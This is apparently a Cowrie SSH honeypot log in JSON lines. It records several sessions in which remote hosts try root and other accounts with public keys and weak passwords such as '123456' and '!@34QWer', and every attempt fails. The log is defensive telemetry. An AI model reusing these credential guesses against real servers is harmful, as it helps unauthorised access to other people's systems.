{"eventid":"cowrie.session.connect","src_ip":"51.75.149.221","src_port":50962,"dst_ip":"10.17.0.5","dst_port":22,"session":"f393b65fb746","protocol":"ssh","message":"New connection: 51.75.149.221:50962 (10.17.0.5:22) [session: f393b65fb746]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:27:09.888488Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:27:09.894161Z","src_ip":"51.75.149.221","session":"f393b65fb746","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:27:09.987870Z","src_ip":"51.75.149.221","session":"f393b65fb746","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0e:cd:4c:3c:78:69:1c:8e:cd:9f:1d:02:21:b6:63:26","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDjyKY3Iuf4OiSmHfThzpDSY4EXAOyXEG2m88rhl5CKU6NkMBiQ+hktOuv5ICODoDp67qcR22ribK89nrLzWNq/tFmao92NGt86t/UXd0CuMdBRvrfKKfc9++CbUUw4xgwvZ9ImbKDVvQpLqIC7mu20Tymiv5Qb+QkF1j4clM+qxkMXBa+5zu23OvqvhF4PqxqWa5NdPt7UxSLn1fP7pgAcQW6TJ4RdPY6Q7mGqG+kqqE4HrO6VsYCh8EgYIOoOXJVq7PXD3uidgZ/lJ6s5cHenGtbs5SUy/8LQUiS/ovGnSfE20a9TCL2aulVeEI2uYYkEH7D6DLCR9tmIUVEDWxVV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0e:cd:4c:3c:78:69:1c:8e:cd:9f:1d:02:21:b6:63:26","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:27:10.450406Z","src_ip":"51.75.149.221","session":"f393b65fb746","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0e:cd:4c:3c:78:69:1c:8e:cd:9f:1d:02:21:b6:63:26","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDjyKY3Iuf4OiSmHfThzpDSY4EXAOyXEG2m88rhl5CKU6NkMBiQ+hktOuv5ICODoDp67qcR22ribK89nrLzWNq/tFmao92NGt86t/UXd0CuMdBRvrfKKfc9++CbUUw4xgwvZ9ImbKDVvQpLqIC7mu20Tymiv5Qb+QkF1j4clM+qxkMXBa+5zu23OvqvhF4PqxqWa5NdPt7UxSLn1fP7pgAcQW6TJ4RdPY6Q7mGqG+kqqE4HrO6VsYCh8EgYIOoOXJVq7PXD3uidgZ/lJ6s5cHenGtbs5SUy/8LQUiS/ovGnSfE20a9TCL2aulVeEI2uYYkEH7D6DLCR9tmIUVEDWxVV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:27:10.455727Z","src_ip":"51.75.149.221","session":"f393b65fb746","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"45:b0:8c:54:04:42:71:38:8a:eb:48:e3:0c:6c:66:2b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDYvEniR5Dhf7nJfD/OnIM3hb/f2nd2MBHl4oA2Nwq9YbrnIlLuvgDwUVlTYztvAUCZSrKClgetLqXi0LGp2yFEr5nz1sZfcIjfoHSlJbtZ/n+QqE89Y0jmz8nB7tdnnHrcjTK0pbPC1DaL1W8e+YSi0rKs8RKD0XOFL2nXgIKIKKFBII0TA7rd2h5gRVbX7JJFO7hJ86Xfjnby5k9YNNQhFlMbgwT3yw7GWD63pNcmVpzOELfSH5KHe87fNIJygadQMBaT3iomT/2izW1oPgjrh875Vw0Us3ihv/FYGeRrZb6t34W9Xf7Uk41tCSAk8W3r/A9VHU9cYZipKOM9oAL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 45:b0:8c:54:04:42:71:38:8a:eb:48:e3:0c:6c:66:2b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:27:10.546918Z","src_ip":"51.75.149.221","session":"f393b65fb746","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"45:b0:8c:54:04:42:71:38:8a:eb:48:e3:0c:6c:66:2b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDYvEniR5Dhf7nJfD/OnIM3hb/f2nd2MBHl4oA2Nwq9YbrnIlLuvgDwUVlTYztvAUCZSrKClgetLqXi0LGp2yFEr5nz1sZfcIjfoHSlJbtZ/n+QqE89Y0jmz8nB7tdnnHrcjTK0pbPC1DaL1W8e+YSi0rKs8RKD0XOFL2nXgIKIKKFBII0TA7rd2h5gRVbX7JJFO7hJ86Xfjnby5k9YNNQhFlMbgwT3yw7GWD63pNcmVpzOELfSH5KHe87fNIJygadQMBaT3iomT/2izW1oPgjrh875Vw0Us3ihv/FYGeRrZb6t34W9Xf7Uk41tCSAk8W3r/A9VHU9cYZipKOM9oAL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:27:10.550825Z","src_ip":"51.75.149.221","session":"f393b65fb746","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"55:60:a4:7b:5e:b1:2a:c6:d1:95:13:9b:52:28:61:48","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCv+wFhsDuDFoxWd+kp2XLiXnobNwgUeIUXjmGggIvsm9f6pbl6fE7dh0D+Z6xY4Sr7wgNx6VKUIHGuydDRLVib8yL7s3pUPHVpCJ3IKhyyRnf53o7LeL0LGJa74gvTnSS+qs/utKhCwhncoxd9a51kNFJw8cm9FoLi3FjndLwzULL4GNMsqgMypTJZIS2E63cZBW1RXijqKrj9ulu6qMYoJ5are0vW0V7+Hx81Qxy54v16RixntfZ0Hs7OALTR34p9ZDPal06ovei+5N3L6rn0YB1xj5gr98MzZBqqIuu6zrspyayESmWDApvKkHrzCG5nOI478L32tRpfHMDACa09OB33bs5/Tf2QiRNgMusjZ++3EqaYu0ORv6+riUIRB3HPsBP/uN7T/WrjiKsU1LjZe9gSGiQjVMSXIN/5pwrSvOGBCOmch8bOvyVvzNDI9JuY1kO2L/R708i5CnmkXKr8m/cNR4prCEwSNUHgiYv/Mh8cIrCRRZP+QOzDzM7HNX+eHBdc3a8WwHNTKzihuFShy6mPWAQ/fS4ghwKiCxj2uIHssN02Z6W4pky+nKtYW1CBRRA7hEvdTYNjMUoDYCDXlJkHY4ABxSCgF7l74xkG5pX/2MDUAvJKgpbAPmCxqu9ZmjShaibgn/OAESxNaMbFfyZi/HadOb7XVl9LD9gNuQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 55:60:a4:7b:5e:b1:2a:c6:d1:95:13:9b:52:28:61:48","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:27:10.639353Z","src_ip":"51.75.149.221","session":"f393b65fb746","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"55:60:a4:7b:5e:b1:2a:c6:d1:95:13:9b:52:28:61:48","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCv+wFhsDuDFoxWd+kp2XLiXnobNwgUeIUXjmGggIvsm9f6pbl6fE7dh0D+Z6xY4Sr7wgNx6VKUIHGuydDRLVib8yL7s3pUPHVpCJ3IKhyyRnf53o7LeL0LGJa74gvTnSS+qs/utKhCwhncoxd9a51kNFJw8cm9FoLi3FjndLwzULL4GNMsqgMypTJZIS2E63cZBW1RXijqKrj9ulu6qMYoJ5are0vW0V7+Hx81Qxy54v16RixntfZ0Hs7OALTR34p9ZDPal06ovei+5N3L6rn0YB1xj5gr98MzZBqqIuu6zrspyayESmWDApvKkHrzCG5nOI478L32tRpfHMDACa09OB33bs5/Tf2QiRNgMusjZ++3EqaYu0ORv6+riUIRB3HPsBP/uN7T/WrjiKsU1LjZe9gSGiQjVMSXIN/5pwrSvOGBCOmch8bOvyVvzNDI9JuY1kO2L/R708i5CnmkXKr8m/cNR4prCEwSNUHgiYv/Mh8cIrCRRZP+QOzDzM7HNX+eHBdc3a8WwHNTKzihuFShy6mPWAQ/fS4ghwKiCxj2uIHssN02Z6W4pky+nKtYW1CBRRA7hEvdTYNjMUoDYCDXlJkHY4ABxSCgF7l74xkG5pX/2MDUAvJKgpbAPmCxqu9ZmjShaibgn/OAESxNaMbFfyZi/HadOb7XVl9LD9gNuQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:27:10.643107Z","src_ip":"51.75.149.221","session":"f393b65fb746","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c5:03:59:17:b1:b9:98:37:13:e3:28:36:a3:5c:e2:c4","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILiA+61yEPsnDysnM2kU+HH0bRNQomrqNOGDEGcOjvR5","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint c5:03:59:17:b1:b9:98:37:13:e3:28:36:a3:5c:e2:c4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:27:10.734030Z","src_ip":"51.75.149.221","session":"f393b65fb746","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c5:03:59:17:b1:b9:98:37:13:e3:28:36:a3:5c:e2:c4","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILiA+61yEPsnDysnM2kU+HH0bRNQomrqNOGDEGcOjvR5","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:27:10.741681Z","src_ip":"51.75.149.221","session":"f393b65fb746","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c7:1c:22:33:bb:8c:bb:b7:ef:74:46:62:50:3f:ec:16","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDRtSDCltnl0Pv09hJKd3/moGSygB57i+lZpBvPIM+mULHlci+uX14oHs+b76YgtrffalKXjM1ZLIwmvcJ1+OxrofshVq6x0cS+656JfhRcT3T9imLKpf8960eVcvjrVZNBSDZU0Lo0lEI4mEg/vuSEhW0P3tG3IHrlnsYugtMnDXNl3miMVSuFTi9hnsZ04194W8mt0prhlSwHob8dr2UZEVOzmmkEK8k5ezirrH1EJkwbRcivdKmpLttkqNk8XoBtdg1Ijs7jkmxqdudJIbLf/YC3vkZ7/hdO+yyrCmN5hkWTUAGfrFOamlsYmoNYcDoNT+FmPELYF6gnaGraZQb3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c7:1c:22:33:bb:8c:bb:b7:ef:74:46:62:50:3f:ec:16","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:27:10.832738Z","src_ip":"51.75.149.221","session":"f393b65fb746","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c7:1c:22:33:bb:8c:bb:b7:ef:74:46:62:50:3f:ec:16","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDRtSDCltnl0Pv09hJKd3/moGSygB57i+lZpBvPIM+mULHlci+uX14oHs+b76YgtrffalKXjM1ZLIwmvcJ1+OxrofshVq6x0cS+656JfhRcT3T9imLKpf8960eVcvjrVZNBSDZU0Lo0lEI4mEg/vuSEhW0P3tG3IHrlnsYugtMnDXNl3miMVSuFTi9hnsZ04194W8mt0prhlSwHob8dr2UZEVOzmmkEK8k5ezirrH1EJkwbRcivdKmpLttkqNk8XoBtdg1Ijs7jkmxqdudJIbLf/YC3vkZ7/hdO+yyrCmN5hkWTUAGfrFOamlsYmoNYcDoNT+FmPELYF6gnaGraZQb3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:27:10.836889Z","src_ip":"51.75.149.221","session":"f393b65fb746","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:27:10.926907Z","src_ip":"51.75.149.221","session":"f393b65fb746","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.91.4.177","src_port":60973,"dst_ip":"159.203.135.109","dst_port":22,"session":"0b71f3195390","protocol":"ssh","message":"New connection: 109.91.4.177:60973 (159.203.135.109:22) [session: 0b71f3195390]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:27:14.530301Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:27:14.535038Z","src_ip":"109.91.4.177","session":"0b71f3195390","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:27:14.649180Z","src_ip":"109.91.4.177","session":"0b71f3195390","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"456","message":"login attempt [root/456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:27:15.453405Z","src_ip":"109.91.4.177","session":"0b71f3195390","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:27:16.565808Z","src_ip":"109.91.4.177","session":"0b71f3195390","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.77.124.248","src_port":30363,"dst_ip":"159.203.135.109","dst_port":22,"session":"31ff021bb72b","protocol":"ssh","message":"New connection: 201.77.124.248:30363 (159.203.135.109:22) [session: 31ff021bb72b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:27:35.716039Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:27:35.720784Z","src_ip":"201.77.124.248","session":"31ff021bb72b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:27:35.852872Z","src_ip":"201.77.124.248","session":"31ff021bb72b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!@34QWer","message":"login attempt [root/!@34QWer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:27:36.411827Z","src_ip":"201.77.124.248","session":"31ff021bb72b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:27:37.546578Z","src_ip":"201.77.124.248","session":"31ff021bb72b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.91.4.177","src_port":64094,"dst_ip":"159.203.135.109","dst_port":22,"session":"e735408db57f","protocol":"ssh","message":"New connection: 109.91.4.177:64094 (159.203.135.109:22) [session: e735408db57f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:27:55.892028Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:27:55.896908Z","src_ip":"109.91.4.177","session":"e735408db57f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:27:56.006663Z","src_ip":"109.91.4.177","session":"e735408db57f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sftp_user","password":"123","message":"login attempt [sftp_user/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:27:56.810671Z","src_ip":"109.91.4.177","session":"e735408db57f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:27:57.919842Z","src_ip":"109.91.4.177","session":"e735408db57f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.91.4.177","src_port":60895,"dst_ip":"159.203.135.109","dst_port":22,"session":"e8a29c32033f","protocol":"ssh","message":"New connection: 109.91.4.177:60895 (159.203.135.109:22) [session: e8a29c32033f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:28:36.444643Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:28:36.449249Z","src_ip":"109.91.4.177","session":"e8a29c32033f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:28:36.560320Z","src_ip":"109.91.4.177","session":"e8a29c32033f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user3","password":"123456","message":"login attempt [user3/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:28:37.393292Z","src_ip":"109.91.4.177","session":"e8a29c32033f","protocol":"ssh"}
